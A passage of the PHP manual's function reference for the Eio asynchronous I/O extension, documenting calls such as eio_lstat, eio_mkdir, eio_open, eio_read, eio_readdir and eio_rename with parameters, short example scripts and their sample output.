    var_dump($result);

    @unlink($link);
    @unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

The above example will output something similar to:

bool(true)
bool(true)
string(%d) "%ssymlink.dat"

See Also

  • eio_symlink

User Contributed Notes

There are no user contributed notes for this page.


Get file status

  • « eio_link
  • eio_mkdir »
  • PHP Manual
  • Eio Functions
  • Get file status

eio_lstat

(PECL eio >= 0.0.1dev)

eio_lstat — Get file status

Description

resource eio_lstat ( string $path , int $pri , callable $callback [, mixed $data = NULL ] )

eio_lstat() returns file status information in result argument of callback

Parameters

path

The file path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_lstat() returns request resource on success or FALSE on error.

Examples

Example #1 eio_lstat() example

<?php
$tmp_filename = dirname(__FILE__). "/eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

function my_open_cb($data, $result) {
    eio_close($result);
    eio_event_loop();

    @unlink($data);
}

eio_lstat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_lstat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
 EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

The above example will output something similar to:

string(9) "eio_lstat"
array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2099197)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318235777)
  ["st_mtime"]=>
  int(1318235777)
  ["st_ctime"]=>
  int(1318235777)
}

See Also

  • eio_stat
  • eio_fstat

User Contributed Notes

There are no user contributed notes for this page.


Create directory

  • « eio_lstat
  • eio_mknod »
  • PHP Manual
  • Eio Functions
  • Create directory

eio_mkdir

(PECL eio >= 0.0.1dev)

eio_mkdir — Create directory

Description

resource eio_mkdir ( string $path , int $mode [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_mkdir() creates directory with specified access mode.

Parameters

path

Path for the new directory.

mode

Access mode, e.g. 0755

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_mkdir() returns request resource on success or FALSE on error.

Examples

Example #1 eio_mkdir() example

<?php
$temp_dirname = "eio-temp-dir";

/* Is called when eio_mkdir() finishes */
function my_mkdir_callback($data, $result) {
 if ($result == 0 && is_dir($temp_dirname)
   && !is_readable($temp_dirname)
   && is_writable($temp_dirname)) {
  echo "eio_mkdir_ok";
 }

 // Remove directory
    if (file_exists($data))
        rmdir($temp_dirname);
}

// Create directory with access mode 0300
eio_mkdir($temp_dirname, 0300, EIO_PRI_DEFAULT, "my_mkdir_callback", $temp_dirname);
eio_event_loop();
?>

The above example will output something similar to:

eio_mkdir_ok

See Also

  • eio_rmdir

User Contributed Notes

There are no user contributed notes for this page.


Create a special or ordinary file.

  • « eio_mkdir
  • eio_nop »
  • PHP Manual
  • Eio Functions
  • Create a special or ordinary file.

eio_mknod

(PECL eio >= 0.0.1dev)

eio_mknod — Create a special or ordinary file.

Description

resource eio_mknod ( string $path , int $mode , int $dev [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_mknod() creates ordinary or special(often) file.

Warning

This function is currently not documented; only its argument list is available.

Parameters

path

Path for the new node(file).

mode

Specifies both the permissions to use and the type of node to be created. It should be a combination (using bitwise OR) of one of the file types listed below and the permissions for the new node(e.g. 0640). Possible file types are: EIO_S_IFREG(regular file), EIO_S_IFCHR(character file), EIO_S_IFBLK(block special file), EIO_S_IFIFO(FIFO - named pipe) and EIO_S_IFSOCK(UNIX domain socket). To specify permissions EIO_S_I* constants could be used.

dev

If the file type is EIO_S_IFCHR or EIO_S_IFBLK then dev specifies the major and minor numbers of the newly created device special file. Otherwise dev ignored. See mknod(2) man page for details.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_mknod() returns request resource on success or FALSE on error.

Examples

Example #1 eio_mknod() example

<?php
// FIFO name
$temp_filename = "/tmp/eio-temp-fifo";

/* Is called when eio_mknod() finishes */
function my_mknod_callback($data, $result) {
    $s = stat($data);
    var_dump($s);

    if ($result == 0) {
        echo "eio_mknod_ok";
    }

    @unlink($data);
}

eio_mknod($temp_filename, EIO_S_IFIFO, 0,
    EIO_PRI_DEFAULT, "my_mknod_callback", $temp_filename);
eio_event_loop();
?>

The above example will output something similar to:

array(26) {
  [0]=>
  int(17)
  [1]=>
  int(2337608)
  [2]=>
  int(4096)
  [3]=>
  int(1)
  [4]=>
  int(1000)
  [5]=>
  int(100)
  [6]=>
  int(0)
  [7]=>
  int(0)
  [8]=>
  int(1318241261)
  [9]=>
  int(1318241261)
  [10]=>
  int(1318241261)
  [11]=>
  int(4096)
  [12]=>
  int(0)
  ["dev"]=>
  int(17)
  ["ino"]=>
  int(2337608)
  ["mode"]=>
  int(4096)
  ["nlink"]=>
  int(1)
  ["uid"]=>
  int(1000)
  ["gid"]=>
  int(100)
  ["rdev"]=>
  int(0)
  ["size"]=>
  int(0)
  ["atime"]=>
  int(1318241261)
  ["mtime"]=>
  int(1318241261)
  ["ctime"]=>
  int(1318241261)
  ["blksize"]=>
  int(4096)
  ["blocks"]=>
  int(0)
}
eio_mknod_ok

See Also

  • eio_open

User Contributed Notes

There are no user contributed notes for this page.


Does nothing, except go through the whole request cycle.

  • « eio_mknod
  • eio_npending »
  • PHP Manual
  • Eio Functions
  • Does nothing, except go through the whole request cycle.

eio_nop

(PECL eio >= 0.0.1dev)

eio_nop — Does nothing, except go through the whole request cycle.

Description

resource eio_nop ([ int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_nop() does nothing, except go through the whole request cycle. Could be useful in debugging.

Parameters

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_nop() returns request resource on success or FALSE on error.

See Also

  • eio_busy

User Contributed Notes

There are no user contributed notes for this page.


Returns number of finished, but unhandled requests

  • « eio_nop
  • eio_nready »
  • PHP Manual
  • Eio Functions
  • Returns number of finished, but unhandled requests

eio_npending

(PECL eio >= 0.0.1dev)

eio_npending — Returns number of finished, but unhandled requests

Description

int eio_npending ( void )

eio_npending() returns number of finished, but unhandled requests

Parameters

This function has no parameters.

Return Values

eio_npending() returns number of finished, but unhandled requests.

See Also

  • eio_nreqs
  • eio_nready
  • eio_nthreads

User Contributed Notes

There are no user contributed notes for this page.


Returns number of not-yet handled requests

  • « eio_npending
  • eio_nreqs »
  • PHP Manual
  • Eio Functions
  • Returns number of not-yet handled requests

eio_nready

(PECL eio >= 0.0.1dev)

eio_nready — Returns number of not-yet handled requests

Description

int eio_nready ( void )

Parameters

This function has no parameters.

Return Values

eio_nready() returns number of not-yet handled requests

See Also

  • eio_nreqs
  • eio_nready
  • eio_nthreads

User Contributed Notes

There are no user contributed notes for this page.


Returns number of requests to be processed

  • « eio_nready
  • eio_nthreads »
  • PHP Manual
  • Eio Functions
  • Returns number of requests to be processed

eio_nreqs

(PECL eio >= 0.0.1dev)

eio_nreqs — Returns number of requests to be processed

Description

int eio_nreqs ( void )

eio_nreqs() could be called in a custom loop calling eio_poll().

Parameters

This function has no parameters.

Return Values

eio_nreqs() returns number of requests to be processed.

Examples

Example #1 eio_nreqs() example

<?php
function res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
    eio_poll();
}
?>

The above example will output something similar to:

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

See Also

  • eio_poll
  • eio_nready

User Contributed Notes

There are no user contributed notes for this page.


Returns number of threads currently in use

  • « eio_nreqs
  • eio_open »
  • PHP Manual
  • Eio Functions
  • Returns number of threads currently in use

eio_nthreads

(PECL eio >= 0.0.1dev)

eio_nthreads — Returns number of threads currently in use

Description

int eio_nthreads ( void )

Parameters

This function has no parameters.

Return Values

eio_nthreads() returns number of threads currently in use.

See Also

  • eio_npending
  • eio_nready
  • eio_nreqs

User Contributed Notes

There are no user contributed notes for this page.


Opens a file

  • « eio_nthreads
  • eio_poll »
  • PHP Manual
  • Eio Functions
  • Opens a file

eio_open

(PECL eio >= 0.0.1dev)

eio_open — Opens a file

Description

resource eio_open ( string $path , int $flags , int $mode , int $pri , callable $callback [, mixed $data = NULL ] )

eio_open() opens file specified by path in access mode mode with

Parameters

path

Path of the file to be opened.

Warning

In some SAPIs(e.g. PHP-FPM) it could fail, if you don't specify full path.

flags

One of EIO_O_* constants, or their combinations. EIO_O_* constants have the same meaning, as their corresponding O_* counterparts defined in fnctl.h C header file. Default is EIO_O_RDWR.

mode

One of EIO_S_I* constants, or their combination (via bitwise OR operator). The constants have the same meaning as their S_I* counterparts defined in » sys/stat.h C header file. Required, if a file is created. Otherwise ignored.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_open() returns file descriptor in result argument of callback on success; otherwise, result is equal to -1.

Examples

Example #1 eio_open() example

<?php
$temp_filename = "eio-temp-file.tmp";

/* Is called when eio_close() finishes */
function my_close_cb($data, $result) {
 // Zero indicates success
    var_dump($result == 0);
 @unlink($data);
}

/* Is called when eio_open() finishes */
function my_file_opened_callback($data, $result) {
 // $result should contain the file descriptor
    var_dump($result > 0);

    if ($result > 0) {
  // Close the file
        eio_close($result, EIO_PRI_DEFAULT, "my_close_cb", $data);
        eio_event_loop();
    }
}

// Create new file for reading and writing
// Deny group and others to do anything with that file
eio_open($temp_filename, EIO_O_CREAT | EIO_O_RDWR, EIO_S_IRUSR | EIO_S_IWUSR,
  EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

The above example will output something similar to:

bool(true)
bool(true)

See Also

  • eio_mknod

User Contributed Notes

There are no user contributed notes for this page.


Can be to be called whenever there are pending requests that need finishing.

  • « eio_open
  • eio_read »
  • PHP Manual
  • Eio Functions
  • Can be to be called whenever there are pending requests that need finishing.

eio_poll

(PECL eio >= 0.0.1dev)

eio_poll — Can be to be called whenever there are pending requests that need finishing.

Description

int eio_poll ( void )

eio_poll() can be used to implement special event loop. For this eio_nreqs() could be used to test if there are unprocessed requests.

Note:

Applicable only when implementing userspace event loop.

Parameters

This function has no parameters.

Return Values

If any request invocation returns a non-zero value, returns that value. Otherwise, it returns 0.

Examples

Example #1 eio_poll() example

<?php
function res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
    // Some specific IPC or so
    eio_poll();
}
?>

The above example will output something similar to:

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

See Also

  • eio_nreqs

User Contributed Notes

There are no user contributed notes for this page.


Read from a file descriptor at given offset.

  • « eio_poll
  • eio_readahead »
  • PHP Manual
  • Eio Functions
  • Read from a file descriptor at given offset.

eio_read

(PECL eio >= 0.0.1dev)

eio_read — Read from a file descriptor at given offset.

Description

resource eio_read ( mixed $fd , int $length , int $offset , int $pri , callable $callback [, mixed $data = NULL ] )

eio_read() reads up to length bytes from fd file descriptor at offset. The read bytes are stored in result argument of callback.

Parameters

fd

Stream, Socket resource, or numeric file descriptor

length

Maximum number of bytes to read.

offset

Offset within the file.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_read() stores read bytes in result argument of callback function.

Examples

Example #1 eio_read() example

<?php
// Open a temporary file and write some bytes there
$temp_filename = "eio-temp-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "1234567890");
fclose($fp);

/* Is called when eio_read() is done */
function my_read_cb($data, $result) {
    global $temp_filename;

 // Output read bytes
    var_dump($result);

 // Close file
    eio_close($data);
    eio_event_loop();

 // Remove temporary file
    @unlink($temp_filename);
}

/* Is called when eio_open() is done */
function my_file_opened_callback($data, $result) {
 // $result should contain the file descriptor
    if ($result > 0) {
  // Read 5 bytes starting from third
        eio_read($result, 5, 2, EIO_PRI_DEFAULT, "my_read_cb", $result);
        eio_event_loop();
    } else {
  // eio_open() failed
        unlink($data);
    }
}

// Open the file for reading and writing
eio_open($temp_filename, EIO_O_RDWR, NULL,
    EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

The above example will output something similar to:

string(5) "34567"

See Also

  • eio_open
  • eio_write
  • eio_close
  • eio_event_loop

User Contributed Notes

There are no user contributed notes for this page.


Perform file readahead into page cache

  • « eio_read
  • eio_readdir »
  • PHP Manual
  • Eio Functions
  • Perform file readahead into page cache

eio_readahead

(PECL eio >= 0.0.1dev)

eio_readahead — Perform file readahead into page cache

Description

resource eio_readahead ( mixed $fd , int $offset , int $length [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_readahead() populates the page cache with data from a file so that subsequent reads from that file will not block on disk I/O. See READAHEAD(2) man page for details.

Parameters

fd

Stream, Socket resource, or numeric file descriptor

offset

Starting point from which data is to be read.

length

Number of bytes to be read.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_readahead() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Reads through a whole directory

  • « eio_readahead
  • eio_readlink »
  • PHP Manual
  • Eio Functions
  • Reads through a whole directory

eio_readdir

(PECL eio >= 0.0.1dev)

eio_readdir — Reads through a whole directory

Description

resource eio_readdir ( string $path , int $flags , int $pri , callable $callback [, string $data = NULL ] )

Reads through a whole directory(via the opendir, readdir and closedir system calls) and returns either the names or an array in result argument of callback function, depending on the flags argument.

Parameters

path

Directory path.

flags

Combination of EIO_READDIR_* constants.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_readdir() returns request resource on success, or FALSE on error. Sets result argument of callback function according to flags:

EIO_READDIR_DENTS (integer)
eio_readdir() flag. If specified, the result argument of the callback becomes an array with the following keys: 'names' - array of directory names 'dents' - array of struct eio_dirent-like arrays having the following keys each: 'name' - the directory name; 'type' - one of EIO_DT_* constants; 'inode' - the inode number, if available, otherwise unspecified;
EIO_READDIR_DIRS_FIRST (integer)
When this flag is specified, the names will be returned in an order where likely directories come first, in optimal stat order.
EIO_READDIR_STAT_ORDER (integer)
When this flag is specified, then the names will be returned in an order suitable for stat'ing each one. When planning to stat() all files in the given directory, the returned order will likely be fastest.
EIO_READDIR_FOUND_UNKNOWN (integer)

Node types:

EIO_DT_UNKNOWN (integer)
Unknown node type(very common). Further stat() needed.
EIO_DT_FIFO (integer)
FIFO node type
EIO_DT_CHR (integer)
Node type
EIO_DT_MPC (integer)
Multiplexed char device (v7+coherent) node type
EIO_DT_DIR (integer)
Directory node type
EIO_DT_NAM (integer)
Xenix special named file node type
EIO_DT_BLK (integer)
Node type
EIO_DT_MPB (integer)
Multiplexed block device (v7+coherent)
EIO_DT_REG (integer)
Node type
EIO_DT_NWK (integer)
EIO_DT_CMP (integer)
HP-UX network special node type
EIO_DT_LNK (integer)
Link node type
EIO_DT_SOCK (integer)
Socket node type
EIO_DT_DOOR (integer)
Solaris door node type
EIO_DT_WHT (integer)
Node type
EIO_DT_MAX (integer)
Highest node type value

Examples

Example #1 eio_readdir() example

<?php
/* Is called when eio_readdir() finishes */
function my_readdir_callback($data, $result) {
    echo __FUNCTION__, " called\n";
    echo "data: "; var_dump($data);
    echo "result: "; var_dump($result);
    echo "\n";
}

eio_readdir("/var/spool/news", EIO_READDIR_STAT_ORDER | EIO_READDIR_DIRS_FIRST,
  EIO_PRI_DEFAULT, "my_readdir_callback");
eio_event_loop();
?>

The above example will output something similar to:

my_readdir_callback called
data: NULL
result: array(2) {
 ["names"]=>
  array(7) {
   [0]=>
    string(7) "archive"
    [1]=>
    string(8) "articles"
    [2]=>
    string(8) "incoming"
    [3]=>
    string(7) "innfeed"
    [4]=>
    string(8) "outgoing"
    [5]=>
    string(8) "overview"
    [6]=>
    string(3) "tmp"
  }
 ["dents"]=>
  array(7) {
   [0]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "archive"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393265)
    }
   [1]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "articles"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393266)
    }
   [2]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "incoming"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393267)
    }
   [3]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "innfeed"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393269)
    }
   [4]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "outgoing"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393270)
    }
   [5]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "overview"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393271)
    }
   [6]=>
    array(3)
    {
     ["name"]=>
      string(3)
      "tmp"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393272)
    }
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Read value of a symbolic link.

  • « eio_readdir
  • eio_realpath »
  • PHP Manual
  • Eio Functions
  • Read value of a symbolic link.

eio_readlink

(PECL eio >= 0.0.1dev)

eio_readlink — Read value of a symbolic link.

Description

resource eio_readlink ( string $path , int $pri , callable $callback [, string $data = NULL ] )

Parameters

path

Source symbolic link path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_readlink() returns request resource on success or FALSE on error.

Examples

Example #1 eio_readlink() example

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && !is_link($data));
    @unlink($data);

    eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && is_link($data));

    if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
        @unlink($link);
        @unlink($filename);
    }
}

function my_readlink_cb($data, $result) {
    global $filename, $link;
    var_dump($result);

    @unlink($link);
    @unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

The above example will output something similar to:

bool(true)
bool(true)
string(16) "/tmp/symlink.dat"

See Also

  • eio_symlink

User Contributed Notes

There are no user contributed notes for this page.


Get the canonicalized absolute pathname.

  • « eio_readlink
  • eio_rename »
  • PHP Manual
  • Eio Functions
  • Get the canonicalized absolute pathname.

eio_realpath

(PECL eio >= 0.0.1dev)

eio_realpath — Get the canonicalized absolute pathname.

Description

resource eio_realpath ( string $path , int $pri , callable $callback [, string $data = NULL ] )

eio_realpath() returns the canonicalized absolute pathname in result argument of callback function.

Parameters

path

Short pathname

pri

callback

data

Return Values

Examples

Example #1 eio_realpath() example

<?php
var_dump(getcwd());

function my_realpath_allback($data, $result) {
    var_dump($result);
}

eio_realpath("../", EIO_PRI_DEFAULT, "my_realpath_allback");
eio_event_loop();
?>

The above example will output something similar to:

string(12) "/home/ruslan"
string(5) "/home"

User Contributed Notes

There are no user contributed notes for this page.


Change the name or location of a file.

  • « eio_realpath
  • eio_rmdir »
  • PHP Manual
  • Eio Functions
  • Change the name or location of a file.

eio_rename

(PECL eio >= 0.0.1dev)

eio_rename — Change the name or location of a file.

Description

resource eio_rename ( string $path , string $new_path [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_rename() renames or moves a file to new location.

Parameters

path

Source path

new_path

Target path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_rename() returns request resource on success or FALSE on error.

Examples

Example #1 eio_rename() example

<?php
$filename = dirname(__FILE__)."/eio-temp-file.dat";
touch($filename);
$new_filename = dirname(__FILE__)."/eio-temp-file-new.dat";

function my_rename_cb($data, $result) {
    global $filename, $new_filename;

    if ($result == 0 && !file_exists($filename) && file_exists($new_filename)) {
        @unlink($new_filename);
        echo "eio_rename_ok";
    } else {
        @unlink($filename);
    }
}

eio_rename($filename, $new_filename, EIO_PRI_DEFAULT, "my_rename_cb", $filename);
eio_event_loop();
?>

The above example will output something similar to:

eio_rename_ok

User Contributed Notes

There are no user contributed notes for this page.


Remove a directory

  • « eio_rename
  • eio_seek »
  • PHP Manual
  • Eio Functions
  • Remove a directory

eio_rmdir

(PECL eio >= 0.0.1dev)

eio_rmdir — Remove a directory

Description

resource eio_rmdir ( string $path [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_rmdir() removes a directory.

Parameters

path

Directory path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_rmdir() returns request resource on success or FALSE on error.

Examples

Example #1 eio_rmdir() example

<?php
$temp_dirname = "eio-temp-dir";
mkdir($temp_dirname);

function my_rmdir_callback($data, $result) {
    if ($result == 0 && !file_exists($data)) {
        echo "eio_rmdir_ok";
    } else if (file_exists($data)) {
        rmdir($data);
    }
}

eio_rmdir($temp_dirname, EIO_PRI_DEFAULT, "my_rmdir_callback", $temp_dirname);
eio_event_loop();
?>

The above example will output something similar to:

eio_rmdir_ok

See Also

  • eio_mkdir

User Contributed Notes

There are no user contributed notes for this page.


Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence

  • « eio_rmdir
  • eio_sendfile »
  • PHP Manual
  • Eio Functions
  • Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence

eio_seek

(PECL eio >= 0.5.0b)

eio_seek — Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence

Description

resource eio_seek ( mixed $fd , int $offset , int $whence [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_seek() repositions the offset of the open file associated with stream, Socket resource, or file descriptor specified by fd to the argument offset according to the directive whence as follows:

  • EIO_SEEK_SET - Set position equal to offset bytes.
  • EIO_SEEK_CUR - Set position to current location plus offset.
  • EIO_SEEK_END - Set position to end-of-file plus offset.

Parameters

fd

Stream, Socket resource, or numeric file descriptor

offset

Starting point from which data is to be read.

length

Number of bytes to be read.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_seek() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Transfer data between file descriptors

  • « eio_seek
  • eio_set_max_idle »
  • PHP Manual
  • Eio Functions
  • Transfer data between file descriptors

eio_sendfile

(PECL eio >= 0.0.1dev)

eio_sendfile — Transfer data between file descriptors

Description

resource eio_sendfile ( mixed $out_fd , mixed $in_fd , int $offset , int $length [, int $pri [, callable $callback [, string $data ]]] )

eio_sendfile() copies data between one file descriptor and another. See SENDFILE(2) man page for details.

Parameters

out_fd

Output stream, Socket resource, or file descriptor. Should be opened for writing.

in_fd

Input stream, Socket resource, or file descriptor. Should be opened for reading.

offset

Offset within the source file.

length

Number of bytes to copy.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_sendfile() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Set maximum number of idle threads.

  • « eio_sendfile
  • eio_set_max_parallel »
  • PHP Manual
  • Eio Functions
  • Set maximum number of idle threads.

eio_set_max_idle

(PECL eio >= 0.0.1dev)

eio_set_max_idle — Set maximum number of idle threads.

Description

void eio_set_max_idle ( int $nthreads )

Parameters

nthreads

Number of idle threads.

Return Values

No value is returned.

See Also

  • eio_set_min_parallel
  • eio_set_max_parallel

User Contributed Notes

There are no user contributed notes for this page.


Set maximum parallel threads

  • « eio_set_max_idle
  • eio_set_max_poll_reqs »
  • PHP Manual
  • Eio Functions
  • Set maximum parallel threads

eio_set_max_parallel

(PECL eio >= 0.0.1dev)

eio_set_max_parallel — Set maximum parallel threads

Description

void eio_set_max_parallel ( int $nthreads )

Parameters

nthreads

Number of parallel threads

Return Values

No value is returned.

See Also

  • eio_set_min_parallel

User Contributed Notes

There are no user contributed notes for this page.


Set maximum number of requests processed in a poll.

  • « eio_set_max_parallel
  • eio_set_max_poll_time »
  • PHP Manual
  • Eio Functions
  • Set maximum number of requests processed in a poll.

eio_set_max_poll_reqs

(PECL eio >= 0.0.1dev)

eio_set_max_poll_reqs — Set maximum number of requests processed in a poll.

Description

void eio_set_max_poll_reqs ( int $nreqs )

Parameters

nreqs

Number of requests

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set maximum poll time

  • « eio_set_max_poll_reqs
  • eio_set_min_parallel »
  • PHP Manual
  • Eio Functions
  • Set maximum poll time

